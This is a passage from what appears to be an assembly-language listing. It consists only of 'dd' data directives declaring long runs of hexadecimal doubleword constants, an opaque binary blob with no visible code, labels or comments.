3FA2950h, 805DE905h, 0DAF8CC91h dd 1600524Fh, 0F60B42Ch, 1EAB6187h, 40658B93h, 0A38C86BDh dd 47022F02h, 75E08011h, 0D47FE022h, 88BB185Bh, 72F71074h dd 807804A7h, 269F3E07h, 0A91F3F00h, 8642AADDh, 0D4AB2124h dd 128B833Ch, 0A0248045h, 373E40C1h, 28294653h, 22430C42h dd 44220E88h, 84302FAAh, 1C444CCEh, 3628440Fh, 1134515Fh dd 2022850Ch, 661EB074h, 3740168Bh, 3C419E82h, 77D30027h dd 0CFCBE274h, 7B03F00Dh, 71569676h, 1B37C03Dh, 0A63F1694h dd 137705FCh, 0F1EF0088h, 2C2DBC8h, 395A7400h, 34CA12ECh dd 948D002Fh, 0BE24089Eh, 7100C8BDh, 0E1FF4021h, 7C9DB69h dd 3460ECC7h, 6D17607Ah, 5A2C0B3Dh, 33000058h, 6EDF9754h dd 63E70549h, 544C4B7Ah, 720452E4h, 0C0F928C2h, 0F3F5A48Fh dd 0C6548500h, 80E10486h, 1D97AEDh, 0DFC11C48h, 0FE3F2415h dd 516E2FDh, 6878DBBh, 84A54BC0h, 0CF78150Dh, 5F00E870h dd 881E9EF4h, 730C9119h, 50E55AFCh, 72B3073Fh, 9026BB94h dd 0A9E3CC6Bh, 27D30300h, 6276A45Fh, 0DC825831h, 75E7D100h dd 0CC66D47Ch, 80F3C60Eh, 56DDBDA9h, 0AD98ABC0h, 21EE590h dd 0BEE2BF55h, 0F4E096F0h, 8F00FB85h, 5CAEABC4h, 6B44817h dd 0B888E8E7h, 0EAA0E09Ah, 62399E68h, 0D71700B9h, 0AC66E8E2h dd 0CB7D002Ah, 68CF735Ah, 0FA24F40Ch, 0AD000707h, 14AE97A9h dd 5300789h, 0A09F80FBh, 36A1771Fh, 0B6C0700h, 0FE5809C3h dd 44350031h, 0D2CDB5F4h, 1100A0CCh, 9FE4F9F1h, 0EC3B2022h dd 1A4300F7h, 4E6A107Ah, 0D303EBCDh, 9B09FA64h, 0F112B875h dd 9F550091h, 0C3D48BF5h, 9A00769Dh, 1DB96C59h, 0FEC7BA25h dd 8C123892h, 0EEEFB00h, 0BD5D831Eh, 0F4561900h, 376B29A5h dd 0F79D0099h, 9B5AD60h, 0C800E212h, 0B1CA210Ch, 50EC1BABh dd 1EF7F045h, 402A85DEh, 0B9E7099Ah, 0AE0F427Bh, 0C32040D9h dd 901F2EFFh, 0D6374Fh, 0E74D98A8h, 1A4D2EEh, 0A325FB00h dd 77AAD56Bh, 96A7016Ch, 3828F7F8h, 0C9E02E68h, 26FF005Dh dd 4E70FCA5h, 4F009986h, 0A0CBABADh, 0A88897h, 0C1963585h dd 0EA1D2870h, 3221D000h, 6853D22Dh, 79250016h, 338C98CEh dd 669005CFh, 3B2DAD17h, 0A50D7E00h, 306D1Dh, 3A6E651Ah dd 0AE596BB3h, 700045F2h, 0DC8C718h, 3052CC50h, 0A6762D9Bh dd 14179FBDh, 7E1F835Fh, 47801424h, 0DC66B572h, 4471CCh dd 9237BA55h, 0F7DF4DA8h, 0F3AC6F00h, 0DD705E01h, 0DECB3F34h dd 0F88015B9h, 89D2B7A7h, 3A003353h, 0D1B88F27h, 0EEF8B0Ah dd 5EDEDF8Ch, 4A3F7240h, 0B30345E5h, 0CFCC2617h, 7806B928h dd 0D8ADE4h, 8CBE69EDh, 40D03BA9h, 0E0E25303h, 0C0EB100Ah dd 4A3CE41h, 9BF5E32Dh, 0E140C069h, 1D00ACD8h, 6C23F8F4h dd 72FB9590h, 2B7600E7h, 5E4B3287h, 0AE019966h, 8083C743h dd 33CCEDE5h, 204E014Fh, 3FBD2A5Ah, 5E74EC9Ch, 3C0BC400h dd 9DFA2EF5h, 0C7CA0030h, 1C9E7A26h, 7E055B07h, 0BC9B54B7h dd 8C41E001h, 0DDC89D6Eh, 8E1E07B4h, 0FCEA482h, 0A600F894h dd 6553EEBEh, 9A605A52h, 6341281Ch, 0C1A4C8Dh, 319E1639h dd 81865E51h, 97223C6Fh, 3508203Ah, 797A1E00h, 0C2C3ECDFh dd 0CA360F18h, 0BBAF256Eh, 984A8E40h, 0CE00B016h, 0DF6680D7h dd 0C757E2h, 9BE14F79h, 0B2D03E03h, 3F007C7Ch, 80F471F6h dd 0A1F60h, 785601F2h, 0ABA71DC0h, 94969113h, 7B16A400h dd 0F9E898A0h, 646BB842h, 3D9300A4h, 76C9B999h, 2C00E9C6h dd 0C57A1D3Eh, 7FB26h, 0C7AFFCBEh, 2568275Ah, 4C092809h dd 0C6E28F43h, 3106B4h, 60D1A097h, 7442C019h, 775A9C02h dd 0C0444A46h, 3CA29394h, 7C16B5h, 4CA49670h, 0F6EDBB92h dd 805DE33Fh, 4755B6C1h, 0E6D577h, 9DE1D1C2h, 39B08FCBh dd 4969EE00h, 72AEE90Ch, 417E1D34h, 0B8708003h, 61D01C59h dd 4EF4393Fh, 270C3800h, 0FEEDADh, 0C9BA5263h, 318B0656h dd 8F32BC0Ch, 0FEAF36D4h, 5D05003Fh, 0EFF9D025h, 157AB072h dd 91F2039h, 7F4B63ECh, 81785100h, 13017E17h, 0D85AE002h dd 0FAD0D396h, 0F9850FE8h, 0C0FD6CF5h, 1A7BD078h, 73F876E1h dd 0A35D700h, 722034ABh, 0DAF3074Ch, 0FF8692BFh, 33592FA0h dd 480047C5h, 28F02698h, 62288h, 0CDE05FA8h, 4020F6D9h dd 7D371E07h, 0FCA04DB1h, 126E9AE2h, 54A6CADh, 458882h dd 1AFBAFB4h, 0D6027E25h, 0C02CD496h, 6DD46044h, 20DE0060h dd 9A53565Dh, 3500B1ECh dd 3A2342AEh, 0C9C409h, 2EF59A2h, 87720DAFh, 1FCA1909h dd 0A1CC8329h, 39F4D8FDh, 1C5600DBh, 0D6954D74h, 0DC00E671h dd 0A2AE478Ch, 96C481h, 4D0B21BCh, 6D990F2Dh, 87A6081Eh dd 0E1FE8002h, 1A986101h, 9820D021h, 0C0B1769Eh, 0D6C0AD11h dd 98B05686h, 5AD4EA03h, 0A7AC376Ah, 40D5F280h, 0AE64307Bh dd 0A782C31h, 0D30538h, 0EC14AB6h, 4870695h, 8DA92216h dd 0CB7FC171h, 4A2730C9h, 95496B00h, 5A12AA5Fh, 48836001h dd 39F6CAE1h, 7E910406h, 7194063h, 0C15D4CF2h, 385EB173h dd 43812BDBh, 2080920Bh, 0F899176Bh, 0F600D5E9h, 3E7F3A13h dd 383365C0h, 0E880823Fh, 0BDD351AFh, 0F80064CFh, 5E5735BFh dd 0E908A5h, 0FD9B4E43h, 0FD56138h, 42F6301Eh, 0AD230E00h dd 1726BDC5h, 0F537E3h, 0E1C7A74Ch, 1A00C43Ah, 0EB037C3Fh dd 0D2F1EFh, 0AFCCB5D5h, 0BC622A59h, 6A0018B0h, 0F431D1C8h dd 4C8E65FDh, 2A0082ADh, 79CCC2B9h, 0D30E386Fh, 83D6F4CAh dd 80AED018h, 4FA7C6h, 0FCF14E29h, 1B6C069Dh, 1E00C0EAh dd 6DF5EB44h, 2ECD43DBh, 0CC9F32h, 9945058Ah, 193A6B37h dd 4D8B802Ah, 6473CC2Eh, 8F1C0008h, 356DD1C0h, 0EC09F020h dd 8962655Dh, 0FBC10084h, 5056FEh, 89EBA9EFh, 6FC0D676h dd 8554900h, 0F646982Ah, 74D00744h, 3BF801B5h, 0B03E8820h dd 1003C825h, 6A16AFBFh, 0A065983Bh, 181C002Eh, 0BD6420F5h dd 592CECC4h, 150010E9h, 3E012FE5h, 0FC74E795h, 60831EA4h dd 0F8119FC3h, 18C59498h, 814DB2F7h, 87000FCh, 1714D12h dd 0EEB8E0CBh, 0B332002Ch, 0F7E8E6D9h, 0FA1C0248h, 0F440A843h dd 0C91103B6h, 85D30078h, 520EFBE5h, 8F001DD0h, 9358F3B9h dd 5D9537h, 0E4B34E51h, 21FDDEE8h, 1B3E0900h, 68E1473Ch dd 9526005Fh, 0F4E41587h, 50C05962h, 0C3CFD89Fh, 66D61433h dd 6F00888Ah, 0ED773C71h, 49E6B2FFh, 0DE26B600h, 797B5737h dd 0D9940C8Ah, 1DD8F9E0h, 24F5C71Ch, 0AE91CE00h, 7929B826h dd 4913047Ch, 90DE8BB9h, 16F13E24h, 1175000h, 2D2AA4FCh dd 0EF6200B7h, 0D2606C25h, 4E03E426h, 0A11C70DBh, 0C62D80E0h dd 3B561667h, 528C403Dh, 5D4DFAE7h, 29920900h, 33115AC8h dd 93A01742h, 671C0040h, 0E24D20C5h, 8EC36900h, 0ABD1F6Bh dd 0CBAE002Bh, 0EEA3B735h, 0C626975Ch, 7E8EF860h, 511701B8h dd 8DE002BDh, 3EAB0054h, 0DA2C4CF3h, 479827FBh, 85B3FA12h dd 72C3D300h, 0A0C9D93Bh, 1F2DE6h, 0FF0AE12h, 0FDD6821Eh dd 4E26E902h, 40C27136h, 30915A00h, 0A3C81BB3h, 0C31E988Eh dd 0C60009D5h, 4FD6E6FEh, 2CD8004Bh, 1D3D0B6Ah, 361269D9h dd 64008A59h, 0C7714C56h, 0F2FC002Dh, 0AACC0F5Eh, 6A005863h dd 83F8D3ECh, 0C5198E1h, 5411A5B2h, 42FCEF30h, 7F177900h dd 0C6A36B6Ah, 0D1906133h, 2019D08Fh, 324CBF16h, 0A5E31318h dd 0E12B140Fh, 82618FDFh, 27DE5E8h, 0A3F4FE50h, 0EBE19176h dd 1C7C20ECh, 0BAC67500h, 0C7B9E498h, 237E1731h, 0C2841E93h dd 3BF04184h, 8B675CE0h, 0EC10200Fh, 48C0C005h, 92FB57C9h dd 0AE7A00C4h, 8090566Eh, 9B71D3D4h, 64C73B00h, 6A5B4F10h dd 0EAE272h, 0B79D53B4h, 0F754ADA1h, 4D789C1Eh, 0D0C5D19Fh dd 0FDC04E76h, 0F828BC1h, 0F655692Ah, 0C20045ABh, 4F769613h dd 92C1603Ah, 0B8806C46h, 5D862069h, 8A01B8D4h, 0E26780FAh dd 711960D2h, 55849E00h, 0B72DF20h, 9BF40013h, 0A192931h dd 0AC004F17h, 76495FFh, 3878A1F5h, 4A03727Fh, 18D2EA79h dd 90118B9Bh, 0B811379Fh, 0BEFC17C1h, 0C039EC4Fh, 7FFF5D42h dd 0CF98C089h, 0D652B023h, 8CC4B154h, 0F24EEB04h, 0C01CB839h dd 0A4DF5824h, 7A00D0DDh, 0A6169FA2h, 0F7F89Ch, 0F4C77946h dd 76B98B45h, 8FD4AD0Eh, 0FEB4810Fh, 0BA6099CBh, 635C00E9h dd 6C52E278h, 22003901h, 0F534ECA1h, 0B28999h, 0C5512959h dd 0E61C33BCh, 5EDD13Ch, 19085683h, 0F2F37C80h, 0EE730B5h dd 2FBC8610h, 90476901h, 7CCF378Fh, 9220ACCh, 0CCF877AAh dd 783D8CA0h, 0E949B5EBh, 0B43918h, 0F571C3A5h, 386FDADFh dd 7E0BD2A3h, 80223Dh, 0B135E3F7h, 23CAD600h, 45C4ED62h dd 10300071h, 0D4659646h, 0ABE84754h, 8D353Ch, 93AC7A34h dd 7426E677h, 487E3A0Bh, 757CEC80h, 0D78F17FFh, 1C2C6D06h dd 16981D1Ah, 30835E72h, 194DE918h, 0B462480Eh, 0EC6B02E5h dd 41106055h, 60B6484Ah, 6D718103h, 0EE9E24B9h, 481BE000h dd 0C2A0E3D4h, 8A2B002Ch, 0E8E934A4h, 0F000ECEh, 49C87472h dd 0C0C96ABEh, 40AFF351h, 3C0013D2h, 4630C298h, 98E595D5h dd 5C8B00B8h, 0C692CD27h, 83008E7Ah, 0A36C73F6h, 1A604Ch dd 4A2D6E79h, 0E7E86846h, 7F4EED01h, 86D02510h, 8070CFC1h dd 2B9112A8h, 6A330BC9h, 0B55D5E80h, 0F5036FF6h, 0CF8829A5h dd 0DCD0843Bh, 8B0405h, 0D90F8D15h, 1E1C3AADh, 4008F002h dd 6051695Fh, 3F1D4E06h, 548058AAh, 0A2B6EEC7h, 710717DCh dd 90143998h, 2E151D81h, 0DDCCCE40h, 0B780003Ah, 75E98F0h dd 69B055B0h, 80F4DB3Eh, 0E3BE2AFh, 0F683FFE9h, 224900C9h dd 998D754Fh, 58F07D6Eh, 8E0FDC90h, 0C0AF2CB8h, 0B05D0C41h dd 0B8072EDh, 298690D6h, 3BAA1840h, 4405A700h, 20184EA9h dd 0E0480028h, 753F6064h, 0E8124F31h, 0F095CD08h, 77535380h dd 427205BDh, 0B0BA37F0h, 0EAE68D04h, 30436D1Ch, 0E1048187h dd 91C12FA7h, 3820310Bh, 38E716EDh, 784DA857h, 697D60C0h dd 1807829Bh, 59EA8F30h, 9F4081FFh, 29120052h, 0F438FC6Bh dd 0BB2EBF39h, 0A700DE5Dh, 0CCB677DAh, 7C94B883h, 0D605005Fh dd 0BEA81709h, 93007814h, 3404C674h, 48E11BACh, 0FF09BCB0h dd 5020D82Dh, 0A74E673Bh, 7D4CD17Bh, 529B0038h, 46C6F1C7h dd 66383A87h, 0F4228494h, 8C2EB900h, 659572DEh, 0A1776403h dd 24A4520Bh, 66D7F0h, 82DF559Fh, 0D400266Dh, 0DD9D516Ch dd 0B8028F89h, 0A59004Bh, 2CD67506h, 6601552Ah, 9257460Eh dd 0F1F8A7EFh, 0DC1A0072h, 6E84EB9Dh, 0A200515Eh, 0B4615A31h dd 133D09h, 14ECD61Dh, 20586CC4h, 0ACA13200h, 0C915FA66h dd 693900D0h, 0F6249716h, 18162133h, 0BC00EB08h, 8668A0C2h dd 805C0070h, 21E9AB12h, 4200CC01h, 0C0FAAA1Fh, 8D8ECBh dd 79C3ED3Bh, 7304713Fh, 8C988050h, 0DD090778h, 0E8305DAEh dd 0F26A680h, 0AFCA1F8Ah, 0A57323E0h, 4A009210h, 5239D59Ah dd 43ADB6h, 0B9A3D4E9h, 1083E5F7h, 1E00A8E6h, 0DB496928h dd 2DE8F14h, 7765097Eh, 8868584Dh, 14948218h, 0CFBE3200h dd 283FE5Ch, 7743FA3Dh, 0DC8008F9h, 176C3F5Eh, 710FF4B8h dd 3D723846h, 0D91C4BC1h, 58C4889Eh, 2B290084h, 24895644h dd 0A70020ECh, 82BF5333h, 3B235846h, 6280EDF6h, 32DCC5E4h dd 0E5E696E6h, 59AD3800h, 2A05AF3Eh, 0CCF01Ch, 0A8B889D2h dd 730C2090h, 0C954C500h, 0FBE30FA0h, 7257DBAh, 0B44DA270h dd 2CB22047h, 0B60040D7h, 668F80F6h, 3D86823h, 0A248BD87h dd 27F87F96h, 0F52533F1h, 0CE009D72h, 0A4686A28h, 4D0A0700h dd 4479952h, 0D042C8C2h, 38CB4CCh, 3157340Ah, 0B607B4FEh dd 0A0B9C419h, 4FB4EE84h, 8A823E2Fh, 6B103980h, 0BA28FA5Fh dd 2D00E0B2h, 8B7D842Ch, 1E8971E8h, 4B2742E3h, 70299B08h dd 0F395B500h, 350E0D3Dh, 0C06AF6C9h, 0D973B8ACh, 71E13DA3h dd 0D7933400h, 0E8C6C454h dd 0B1566616h, 0B1C1300h, 0F270B2A6h, 3E6304D3h, 0C09D7A16h dd 17D4E7AFh, 1AE6F071h, 6622A300h, 0D13B8894h, 80BE06FBh dd 213F50DBh, 0FA06E204h, 5CC09B49h, 4AE7Bh, 9DEB0B29h dd 54CCD24h, 0BC90A402h, 0F09E4149h, 4C2A4C9Ch, 53C0BE00h dd 903D177Dh, 293CFE00h, 10E8C8C6h, 0A1F883h, 45880EFBh dd 422320C7h, 0A877FA00h, 0FC0C635Fh, 0BF6F0018h, 0E7DDA1D2h dd 0FF03C3B1h, 80E94A4h, 0C0909D34h, 3C661h, 7CDCF9D5h dd 50DDC122h, 6CBC7E2Eh, 2E182318h, 8BE30F06h, 383911ACh dd 0E5146FCBh, 37AE0028h, 0A7A0416Eh, 44FE71h, 31E26417h dd 27DCCB35h, 0CC4C3200h, 6A92D08Ah, 0E8FB486Fh, 13BA8200h dd 85CA8BBh, 313AC91Dh, 8CD56380h, 6061ABD7h, 0BEAC11E1h dd 0F90094ADh, 5288CF23h, 3AF709F0h, 0C961CE61h, 9310859Ah dd 1903A090h, 1EF48C7Eh, 0C0BB2810h, 11B9B2C2h, 1C045B2Fh dd 0AB951018h, 720A40A8h, 3B640E38h, 4F709680h, 8491BDA0h dd 0DAE95560h, 0EA21148h, 74B604ACh, 78B30AE1h, 0A74BDC24h dd 8B3E827Bh, 4A2680C8h, 13CA1AEAh, 705A0345h, 0EFD906BDh dd 985D99E0h, 4B27FB00h, 5C148C83h, 0E9A20032h, 0E0AE35F7h dd 6AFC2276h, 1D6C8E04h, 0F1C065B6h, 390423h, 8F6F547Bh dd 0BCD0CD29h, 510AEA00h, 0E2E0019Eh, 0B8DB00EDh, 0EE5C677Dh dd 13003769h, 5F1ABCB4h, 79CD4Ah, 2EE3BE3Ch, 0FBD5CC95h dd 30E61C00h, 0F4239EC3h, 0D1F0000Fh, 499DC55Bh, 0CD006CE4h dd 0C3AADD47h, 4DBD3E22h, 520FA057h, 6209A59h, 0CAA4DC91h dd 24DDCE3Ah, 95801016h, 0C3705FB1h, 19FE00C7h, 0BB2FDF82h dd 8701DA76h, 118E8C34h, 188B6750h, 54E0260Dh, 76006D72h dd 0CB098378h, 2C70489Ch, 134B2ECh, 0E58C02F3h, 8BC840EAh dd 49FE5C61h, 265F3900h, 8C122806h, 608922Dh, 4D87F8B0h dd 0C20059E1h, 945DB161h, 330E62FCh, 0F2081710h, 89E22100h dd 8EFEC5B1h, 53800324h, 0B8819C66h, 3C78F8B2h, 0E7115D00h dd 0C4E9BADEh, 0E86A0BD5h, 0CF8B4951h, 0D201F4D4h, 0C29E8CF8h dd 81C4984Bh, 40773226h, 0D1BAA7h, 0F56DB87Eh, 0C24533BDh dd 807210CBh, 852A3F72h, 1E26Bh, 5436EDE6h, 0BF429A43h dd 0BB80AF00h, 0F9ABC8CAh, 98F65Bh, 940C137Bh, 7EF4EBAh dd 241B5900h, 9BF457A2h, 12D900E2h, 16CC44CBh, 0D073054h dd 64622F7Eh, 7D239C90h, 3CD00039h, 40A4BF28h, 502C945Bh dd 0E0001769h, 3A9D45DDh, 417801CEh, 9EA24902h, 0EA52C90Eh dd 3E7332C0h, 0F1F69772h, 0EBE39C00h, 2641CD5Ah, 62DE1E45h dd 5DB54054h, 0EAF8C14Fh, 6A572500h, 2B7A9D89h, 62163B31h dd 0A69692h, 0C9C8BC1Dh, 10DD9718h, 58DC0Fh, 13DE96BAh dd 2BF401E2h, 61C3C2D8h, 7157CC66h, 0AEA95200h, 0B90135A8h dd 0AF540017h, 0CB4B874Ah, 7A001943h, 1BFA49C3h, 1C2B40F8h dd 962FBDh, 1ADC15FEh, 365AC0A1h, 0E100AEFCh, 1E5431DFh dd 660050AFh, 74D587Dh, 7935B11h, 0AC344BCCh, 0A6384065h dd 580083A7h, 0D4DCC00Ch, 3E753E67h, 8F800176h, 92ECE92Dh dd 0AFF4FE34h, 7AC6E000h, 8E58A3B3h, 62F007BEh, 50DEE28Bh dd 91F3618Fh, 37886C00h, 0D42653CFh, 0B0DD077Ah, 6060A33Eh dd 4B9F669h, 654C2C12h, 0A40061E8h, 0C5B6D5FEh, 0D6003F08h dd 0D996649Fh, 7895009h, 46A70138h, 6E69F06Bh, 0E8033C8Ah dd 0F9689611h, 0B41FD084h, 0EB5700DCh, 6FC74E56h, 5230ED8Ah dd 0E55C8090h, 12810010h, 5B148BDBh, 0CCA09AC0h, 9F761873h dd 0B905BC7Eh, 0DE0EC887h, 54BDA040h, 0D42702h, 0CE679655h dd 148304D9h, 0EC6F222Ah, 8DECEF7Dh, 0DD9FC506h, 0D6F8CEh dd 8EF670CAh, 400BA083h, 686AD700h, 8435A3C8h, 1B3B003Eh dd 0DA08524Ah, 5800035Fh, 0C123B38Fh, 7B720Fh, 15DB95DCh dd 6A74A8B4h, 80F7753Ah, 8D0696A6h, 873E7Eh, 8804723Ch dd 0EE1BB08Bh, 17AF458h, 9436E8E1h, 8D601AD0h, 0DD880023h dd 5428BDADh, 0F205EB2Bh, 2E75E098h, 0B6D2B000h, 0DFD3C7h dd 0C06179B0h, 0B90F8E91h, 6F3D9907h, 0FFC01A37h, 0C056749Fh dd 0F4A731AAh, 0E71C8CDCh, 37AC5F1Bh, 6A81F302h, 0FD7840A5h dd 0BE3300E8h, 2EAF04BBh, 15078DECh, 0FFABA05Fh, 0C357DF60h dd 2AA5006Bh, 4FD42D5Dh, 4FEF256h, 0A49CDC1Fh, 4012E580h dd 26FA83C5h, 1CD0D917h, 54F4401Dh, 844ACD61h, 31758C1Fh dd 68C40E82h, 0EBC271h, 879A1E98h, 23B5000Fh, 48DFE080h dd 0A14841DBh, 0D95F07C4h, 74C1E2E8h, 37E0FD03h, 0BBB10069h dd 5DCDA014h, 1D00B696h, 6612B8D8h, 997931h, 8D87E530h dd 956C7604h, 0A0CC681Eh, 589AA980h, 0C092CFE9h, 0DEBE1219h dd 6902B75Dh, 7918F382h, 7718496Ah, 7784DF60h, 0B43719D4h dd 0F1D6B0B5h, 4FBFEC0Bh, 6D18B918h, 1F9BC048h, 400FFCA0h dd 69176643h, 85004635h, 0FF9DDD28h, 0E8D55222h, 1F0F40Dh dd 0BAFCFD8Ah, 61067346h, 9F02C81Ah, 51139h, 1594388Fh dd 0AA25A3h, 0EB2E8049h, 0FD8DFCFEh, 81BCFF0Bh, 0D082009Eh dd 0B96584h, 99613C8Eh, 9F35185Bh, 6BD15700h, 0BF077BFh dd 196F64Bh, 6AF18A2Ah, 0F8DB5E4Ah, 0A126073Ch, 63002FDFh dd 4C8E22FAh, 2F2D001Ah, 0B9C7915Fh, 5A02698Ah, 0CFE25496h dd 0B9860B7h, 0C6B2001Dh, 7910DCA8h, 0D81FB5A9h, 16809E1Fh dd 8B2030F4h, 714C020Fh, 0F2F78F50h, 3218CC40h, 40B75A75h dd 138A6DFh, 0C42EB1CFh, 0C47E7786h, 59007C51h, 3ADF4D53h dd 0FC09B526h, 588E2E8Dh, 2690098h, 98C3DE01h, 6C1E2879h dd 3A4E0633h, 22003289h, 0DA4CB122h, 0FFF60054h, 2914304Bh dd 60903183h, 1B32B208h, 3800BA59h, 613D5B48h, 3400D658h dd 0F7035388h, 0F80480h, 0AF91304Dh, 0DC11FBB3h, 362BB612h dd 0EA584C40h, 26CB6353h, 3CEBF9h, 9ED5AC54h, 11C3A949h dd 0F8CAB461h, 80BB69h, 477AADF1h, 6BFBDE1Ch, 0CC59961Dh dd 0D50182DDh, 256E86DDh, 3A90F424h, 5183F5BFh, 1C2C2FEDh dd 7F5BA7E8h, 2624375Ch, 799468F2h, 91C700B8h, 74DF4439h dd 81B50077h, 3DE0C422h, 0F600096Eh, 66E1B6BBh, 1E6B0738h dd 0C17353EBh, 0B5A0BDB8h, 8464E815h, 9E6A7107h, 603F9DD9h dd 828D3C41h, 0E17B1C1Bh, 5BDD403Bh, 7F1816DAh, 5940AE00h dd 0DC6DC4A8h, 0FB2C1C86h, 2807C031h, 0F1FCE652h, 89840100h dd 44A599F9h, 32CDEFA4h, 7ED024h, 663B185Eh, 2B862DE2h dd 0D87C3F79h, 9FA8700h, 5D709719h, 0AC8D0062h, 4AF166BFh dd 85003C13h, 0E2DDAB93h, 0F46E23F2h, 0E93803AEh, 0B02A683Bh dd 0C53040E7h, 5B385105h, 0E381800Dh, 949FA997h, 0E7690EB0h dd 6040C842h, 5E74FBBEh, 61EE5F00h, 8DC602BAh, 46181C6Fh dd 0B5A780B0h, 1F808393h, 0DD6B2603h, 983BCD41h, 73849E96h dd 0F5F05Dh, 0F6AA8821h, 617E52E2h, 6A677707h, 83AB55E7h dd 0A5933F70h, 3482B987h, 0BD35405Ch, 924A72B9h, 9DB82ED0h dd 2382803Ch, 0AE816BCBh, 0E85BF00h, 1C638DADh, 0B78616D9h dd 8EC00092h, 35A4BDA1h, 3E51B13Fh, 9EDBF9Bh, 80571001h dd 52881FFCh, 831A3063h, 0D9652BE8h, 963AFF05h, 7CD08209h dd 1DC5F23Bh, 4E72B4B2h, 45808485h, 3EBC6D81h, 0CB385F03h dd 0E0BB6C3Ah, 76D1A59Dh, 0E44703ECh, 0BCB69545h, 40FE97E1h dd 2C14C228h, 6E157500h, 9A1A6FADh, 2EA700FBh, 0F1F787CFh dd 261D2994h, 44005EA1h dd 0ADEABC11h, 0B8861FB5h, 5CDF8F3Fh, 2D4C7980h, 2601CEC9h dd 0B63690BEh, 5860DB3Bh, 815D30FBh, 657BEF71h, 4945860Fh dd 5336C55Ah, 0DAA31400h, 10283Ah, 928961D5h, 48E5AC72h dd 0E1EA0C00h, 3D410839h, 0AEFB008Dh, 0D09F096Dh, 1C00227Bh dd 0C13CDD80h, 850556h, 839A1441h, 0F7A9407h, 2461A007h dd 42408B28h, 0DB2DF0h, 3A8750E9h, 2792C6D7h, 2B5D4100h dd 5AEC5CC7h, 559B00D9h, 0F78C0975h, 6B00F4A4h, 0EEF38327h dd 71F179Ah, 0D5CEECCFh, 7BE44107h, 634D474h, 0E90064E8h dd 7A0E18BBh, 3B2B68h, 0ECD7ED43h, 37ADEF1Bh, 14678200h dd 3E1E8FA9h, 35D500BDh, 444F4D21h, 811E240Fh, 0EFC7E40Ah dd 0A1B0A3E9h, 599EEC63h, 0D202741Dh, 0DA5EC031h, 0A09C9CA4h dd 2203128Ch, 1BC813DFh, 47A4B0F6h, 6F262875h, 0DBA31EA0h dd 0FD10C303h, 2911C14Eh, 2D112C2Ah, 4A721E6h, 4085768h dd 0E85C269Eh, 2432228h, 20C5C022h, 0D9722192h, 20449B00h dd 0E19E83E6h, 2E5300FEh, 0F61A35CCh, 0A4008A26h, 107AD3BDh dd 0D7EF5Ah, 5B432EDAh, 0E15991E8h, 85CDE403h, 0D0E56F24h dd 18EF23D2h, 36F60544h, 86142E0Fh, 0D1AF5Fh, 4B5711B0h dd 48B24F46h, 4000AC53h, 96645541h, 0C00B477h, 86E606A8h dd 0E3697Ah, 0EA9013ADh, 0B70F3BECh, 59756500h, 9246269Ah dd 245000E3h, 0D44BAFC6h, 0B5006E5Fh, 1FF2C562h, 3C1C7D03h dd 0D2025E43h, 0C1511A69h, 9AD4BBE0h, 85B24E00h, 0A95DD3AAh dd 1EDD000Dh, 0B86CAB8Ah, 552D47F3h, 28AEDE0Ah, 952B044Fh dd 0D0594BD8h, 9D8E7D28h, 1BA74803h, 831CF48Ah, 3D169824h dd 63C705EAh, 80AD91C6h, 5FCF8839h, 45405D00h, 6B5E6809h dd 0B8C0EE6h, 0D560222Dh, 0E87203BFh, 0C9BC2A00h, 8D54BA18h dd 0F633009Ch, 8B84F3F5h, 8C78E5C7h, 45260500h, 0BF81D986h dd 0F77A0F6Bh, 0AEE0531Ch, 0A950AF65h, 21B6C102h, 80D8BE97h dd 85FBFFD9h, 3F4507B2h, 3F1E6FAEh, 0BD56C01Dh, 998D904Dh dd 7512D207h, 8257A79Ch, 90D51FA3h, 262CE7h, 994CE5CCh dd 0AFA5D13h, 0D3398B79h, 523E12h, 0D937C931h, 1EE687C5h dd 0D814CB4Fh, 8C3060E0h, 0B169762Ch, 5CC90B00h, 886726h dd 0DD9D745Eh, 54E0790Ah, 8F2DEB00h, 94CCB978h, 8ED30077h dd 0D7DFD29Fh, 92004F5Bh, 0A24539B6h, 2DC03Bh, 8B244B90h dd 0E8628D6h, 40C52C00h, 0FF525453h, 96DD00FAh, 0ECCE2E7Ah dd 887F2D1Eh, 1DFCF098h, 0EED54B01h, 8D2FF49Eh, 758080DEh dd 0AFE2D3h, 0C6AED055h, 0E200688h, 0A87D3900h, 0DBCA61C1h dd 73DA00DDh, 0CB9B427Eh, 3800ECD9h, 0B0868884h, 295620h dd 1F4167BEh, 0CB4A5E73h, 0F8E2893Dh, 0CA035D1Fh, 61FDB580h dd 0EC7B4743h, 0DD0C1F1Eh, 0D82981F7h, 0D3FB9B3Ch, 0EC2C2DB9h dd 0D03A4112h, 0DD949824h, 1AF550h, 0CD81189Ch, 0F1B2AFF6h dd 0DFEF6E00h, 0A0EBB4EAh, 0A1F4FDE4h, 16490022h, 0C6B374Eh dd 230C2614h, 0A0C5C940h, 1FC27BB0h, 0C0DAA7ECh, 47F77346h dd 1F0FF3F6h, 80C86675h, 3EE992A0h, 0CCFD05E2h, 80A6411Ah dd 4E03FEB0h, 5B473100h, 0B5287DF7h, 0BA90010h, 1716FF82h dd 5C005697h, 24B69635h, 34FDC30h, 0A96C576Fh, 0AEC81BBCh dd 4900D520h, 6E7C7090h, 758410A8h, 34E43Eh, 46FE78A2h dd 0C2129D80h, 0CE1FFB00h, 42967BBFh, 0C01000BBh, 0AD5C160Eh dd 0A217AFFAh, 6003A1Dh, 0C4838179h, 0EE8700ABh, 0A1CC69B6h dd 0F200EB7Dh, 16EC9007h, 0AD59FCh, 0DD56E0F5h, 0A71AC97Ch dd 70503707h, 0FEF1AE28h, 7DE4D49Ah, 4AE8D9h, 0A8C5F1D8h dd 59A1B9D3h, 6CC33400h, 43130284h, 5B060099h, 0F953CC04h dd 0D9014AD3h, 375A6B07h, 21D8BB27h, 0F17B1E3Ch, 0DF9AC00Dh dd 1715DE97h, 5F004D7Ah, 34AFD445h, 3B07268h, 6AA78760h dd 0CED09A0Eh, 0BB796227h, 53BA6F00h, 37E7F606h, 0B5DA0055h dd 0C9A2D3CDh, 0D70F72F4h, 2E30D0B4h, 82F04h, 26B6409h dd 439C00B5h, 0A10583C8h, 66032BFCh, 0AFBCB8D1h, 8E89D004h dd 68CF004Fh, 0BA115406h, 603E615Ah, 1CA08E97h, 76050021h dd 7B90928h, 0D4E19F92h, 0CBB230FCh, 0E500A424h, 0F151A03Bh dd 4DC467h, 0F39B0D81h, 7FC28EF2h, 21D16907h, 6CB0DEEBh dd 17F91F99h, 0BA59A5h, 915B126Ch, 410061FAh, 0FB32B595h dd 836D2Fh, 0D1CC1BA0h, 920E4993h, 